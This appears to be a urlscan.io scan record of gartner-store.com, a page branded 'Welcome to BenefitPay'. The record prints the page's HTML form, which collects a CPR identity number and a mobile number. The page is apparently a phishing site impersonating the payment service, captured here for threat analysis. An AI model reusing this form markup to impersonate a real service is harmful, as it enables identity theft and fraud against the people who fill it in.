gartner-store.com Open in urlscan Pro
192.185.109.99  Public Scan

Form analysis
1 forms found in the DOM

POST function.php

<form action="function.php" method="post">
  <div class="form-group">
    <label for="exampleInputEmail1">CPR</label>
    <input type="text" class="form-control" placeholder="Enter CPR Number" maxlength="9" id="CPR" oninput="this.value = this.value.replace(/[^0-9.]/g, ''); this.value = this.value.replace(/(\..*)\./g, '$1');" name="cpr" required="">
  </div>
  <div class="form-group">
    <label for="exampleInputEmail1">Mobile Number</label>
    <input type="text" class="form-control" placeholder="Enter Phone Number" maxlength="15" id="CPR" oninput="this.value = this.value.replace(/[^0-9.]/g, ''); this.value = this.value.replace(/(\..*)\./g, '$1');" name="phone" required="">
  </div>
  <div class="form-group form-check">
    <input type="checkbox" class="form-check-input checked">
    <label class="form-check-label" for="exampleCheck1">I have read and agreed to the <strong class=" text-danger">Terms &amp; Conditions</strong></label>
  </div>
  <br><br><br>
  <center><button type="submit" name="form1" class="btn btn-lg btn-danger">Next</button></center>
</form>

Text Content

WELCOME TO
BENEFITPAY




CPR
Mobile Number
I have read and agreed to the Terms & Conditions



Next